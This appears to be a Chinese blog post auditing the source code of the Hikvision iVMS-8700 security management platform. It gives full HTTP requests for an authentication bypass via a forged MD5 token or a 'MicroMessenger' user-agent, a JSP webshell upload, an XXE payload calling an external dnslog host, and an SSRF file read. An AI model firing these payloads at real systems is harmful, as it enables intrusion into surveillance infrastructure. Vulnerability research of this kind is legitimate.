iVMS-8700综合安防管理平台代码审计
共 5856字,需浏览 12分钟
·
2023-08-17 16:40
前言
群里有个师傅在问iVMS-8700综合安防管理平台
的指纹信息,并且还说只是访问一下/eps/api/resourceOperations/upload
,很明显,这里有个上传
本来18号
就想着写出来的,才打完攻防,累,也就拖到了今天才写
复现
最开始访问该接口的时候,会提示 token empty
添加 token
后,会提示 token invalid
有点意思
于是找该师傅白嫖了poc
此时也就知道了该token
的生成规则
即当你访问 http://x.x.x.x/eps/api/resourceOperations/upload
时,token=md5("http://x.x.x.x/eps/api/resourceOperations/uploadsecretKeyIbuilding")
,生成的hash
值,字母要转大写
代码审计
此时就有点好奇,为什么要对 http://x.x.x.x/eps/api/resourceOperations/uploadsecretKeyIbuilding
进行 md5
加密,为什么直接访问 http://x.x.x.x/eps/api/resourceOperations/uploadsecretKeyIbuilding
是 404
,这些都是我的疑问。
首先这里要分析的应用是 eps
,即 eps.war
文件
通过之前编写的一个获取 spring
所有 controller
的脚本,知道了该 controller
对应的类: com.hikvision.cms.eps.biz.operation.action.ResourceOperationAction
此时发现,具体上传功能是在 this.resourceOperationService.uploadResourceOperation
这里实现,即 ResourceOperationService
类下的 uploadResourceOperation
方法。
在 uploadResourceOperation
方法里,先调用了 FileUtils
里的 uploadFile
方法
在 uploadFile
里,获取文件后缀后( fileSuffix
),该后缀与 uuid
直接拼接
tmpPath
的值是 /upload/{uuid}.jsp
最后通过MultipartFile
里的transferTo
方法将该文件成功传到服务器上
回到ResourceOperationService
类下的uploadResourceOperation
方法中,此时页面回显resourceUuid
的值时,也就是保存在服务器上的文件名
数据包:
POST /eps/api/resourceOperations/upload?token=xxxx HTTP/1.1
Host: x.x.x.x
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrHmpzTSMsQVHSzYI
Content-Length: 161
------WebKitFormBoundaryrHmpzTSMsQVHSzYI
Content-Disposition: form-data; name="fileUploader";filename="1.jsp"
webshell
------WebKitFormBoundaryrHmpzTSMsQVHSzYI--
此时发现在上传过程中,没有 token
的参与,因此也就可能是拦截器 Interceptor
或者过滤器 Filter
在起作用
拦截器
在 web.xml
中
springmvc
处理的路由有两种情况,分别是以/api/
为开始或者是以.action
为结束
这两种都被org.springframework.web.servlet.DispatcherServlet
来处理,此处是有springmvc
的配置文件springmvc-servlet.xml
,也就点进去看看
在springmvc-servlet.xml
中,有三个拦截器:
com.hikvision.cms.common.web.interceptor.HttpServiceRequestInterceptor
com.hikvision.cms.common.web.interceptor.HttpServletResponseInterceptor
com.hikvision.cms.common.web.interceptor.LicenseAuthInterceptor
很明显,第一个拦截器是最有可能存在 token
相关规则的(因为此处存在权限认证的 key
,即 secretKeyIbuilding
)
该拦截器的具体代码如下
先判断HttpRequestUtils.requestUriStartWithApi(request)
或HttpRequestUtils.requestUriEndWithService(request)
的值是否为true
由于这里分析的是/api/resourceOperations/upload
,因此是true
,进入if
逻辑
判断 this.mustAuthPermission()
的值是否是 true
,由于 authPermission
的默认值是 1
,即 "1".equals(this.getAuthPermission())
是 true
,因此 this.mustAuthPermission()
是 true
然后获取 token
参数的值,判断该值和 MD5Util.md5(targetUrl + this.secretKey)
的值是否相等,即:
MD5Util.md5("http://x.x.x.x/eps/api/resourceOperations/uploadsecretKeyIbuilding")
因此我们传入的 token
值是:
MD5Util.md5("http://x.x.x.x/eps/api/resourceOperations/uploadsecretKeyIbuilding")
最后该拦截器的返回值是 true
(最后一个 if
逻辑不影响返回值,且只和页面回显的数据格式有关,也就不分析)也就成功的绕过了 token
的限制
过滤器
可以看见,该过滤器没啥好分析的。
不需要token上传(需要伪造参数)
通过上面分析可知,springmvc
是可以处理.action
的路由的,并且HttpServiceRequestInterceptor
拦截器是只对/api/
有效的
.action
的过滤器在web.xml
里面声明了,是由CASFilter
来处理,即:com.hikvision.cms.common.web.cas.ExtAuthenticationFilter
此时应关注 HttpRequestUtils.requestComeFromWeChatClient(request)
的逻辑值
此时可以看见,当请求头中的 user-agent=MicroMessenger
时,即可走 filterChain.doFilter(servletRequest,servletResponse);
的逻辑,也就能够正常上传了
不加 user-agent=MicroMessenger
时,可以看见会被重定向
添加 user-agent=MicroMessenger
时,上传成功
最后的数据包:
POST /eps/resourceOperations/upload.action HTTP/1.1
Host: x.x.x.x
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
user-agent: MicroMessenger
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrHmpzTSMsQVHSzYI
Content-Length: 163
------WebKitFormBoundaryrHmpzTSMsQVHSzYI
Content-Disposition: form-data; name="fileUploader";filename="1.jsp"
111
------WebKitFormBoundaryrHmpzTSMsQVHSzYI--
其他漏洞
其他漏洞倒是没怎么看,就发现了一个 XXE
和 SSRF
,也就没深入了,不过也都是垃圾洞了
XXE审计
漏洞点: com.hikvision.cms.acs.api.http.action.HttpBlackDownloadAction
非常经典的 XXE
漏洞模板代码,可惜只能打个 dnslog
POST /acs/api/serviceApi/blackDownload/downloadBlackCallBack?token=xxx HTTP/1.1
Host: x.x.x.x
Content-Type: application/x-www-form-urlencoded
Content-Length: 471
deviceIndexCode=1&xml=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22ISO-8859-1%22%20%3F%3E%0A%20%20%20%20%20%20%20%20%3C%21DOCTYPE%20example%20%5B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21ELEMENT%20example%20ANY%20%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21ENTITY%20file%20SYSTEM%20%22http%3A%2F%2F12345.33548593.ipv6.1433.eu.org%22%20%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%5D%3E%0A%3Cexample%3E%26file%3B%3C%2Fexample%3E
(注: dnslog
日志是 18号
的,截图也是 18号
的)
SSRF审计
漏洞点:com.hikvision.cms.eps.biz.trigger.action.TriggerAction
没啥好分析的,一眼看出
Exp:
/eps/api/triggerSnapshot/download?token=xxx&fileUrl=file:///C:/windows/win.ini&fileName=1
直接通过 file
协议读取文件
也能修改成其他协议,比如 ftp
、 http
、 https
、 jar
、 mailto
、 netdoc
和 gopher
,但 gopher
默认是禁用的,这部分的逻辑可以在 rt.jar
中审计,也没啥好说的,因为之前也分析过
总结
分析完了后,感觉漏洞也没啥,也就是基础洞,正常分析就能找到。
原文链接:https://jdr2021.github.io/2023/05/22/iVMS-8700%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/